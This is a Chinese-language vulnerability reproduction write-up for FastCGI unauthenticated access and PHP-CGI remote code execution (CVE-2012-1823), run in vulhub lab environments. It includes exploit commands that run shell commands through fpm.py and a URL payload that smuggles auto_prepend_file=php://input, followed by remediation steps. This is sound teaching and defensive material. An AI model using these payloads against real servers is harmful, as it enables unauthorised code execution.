FastCGI未授权访问、任意命令执行

1、 漏洞简介及成因

服务端使用fastcgi协议并对外网开放9000端口,可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令。

参考P牛文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

2、 漏洞复现

使用vulhub实验环境,启动实验环境。

1
2
cd /vulhub/fpm
docker-compose build && docker-compose up -d

EXP:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

在攻击机使用命令python fpm.py 192.168.237.136 /etc/passwd,观察返回结果。

img

由于访问非*.PHP文件,所以返回结果403。

使用命令执行一个默认存在的 php 文件。

1
python fpm.py 192.168.237.136 /usr/local/lib/php/PEAR.php

img

利用命令进行任意命令执行复现。

1
2
3
python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `pwd`; ?>'
python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `ifconfig`; ?>'
python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `ls`; ?>'

img

3、 漏洞修复

更改默认端口

(二) PHPCGI远程代码执行

1、 漏洞简介及成因

在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意代码执行。

此漏洞影响php-5.3.12以前的版本,mod方式、fpm方式不受影响。

http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
p牛讲的很详细:https://vulhub.org/#/environments/php/CVE-2012-1823/

2、 漏洞复现

cgi模式下有如下一些参数可用:

1
2
3
4
5
6
7
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:
auto_prepend_fileauto_append_file:将文件require到所有页面的顶部与底部。
空格用+%20代替,=用url编码代替。
payload:-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

使用vulhub实验环境,启动环境。

访问http://192.168.139.129:8080/index.php。

img

抓包,修改包。

img

命令成功执行。

3、 漏洞修复

三种方法:

1)升级php版本;(php-5.3.12以上版本);

2)在apache上做文章,开启url过滤,把危险的命令行参数给过滤掉,由于这种方法修补比较简单,采用比较多吧。

具体做法:

修改http.conf文件,找到增加以下三行

RewriteEngine on

RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]

RewriteRule ^(.*) $1? [L]

重启一下apache即可,但是要考虑到,相当于每次request就要进行一次url过滤,如果访问量大的话,可能会增加apache的负担。

3)打上php补丁。

补丁下载地址:https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/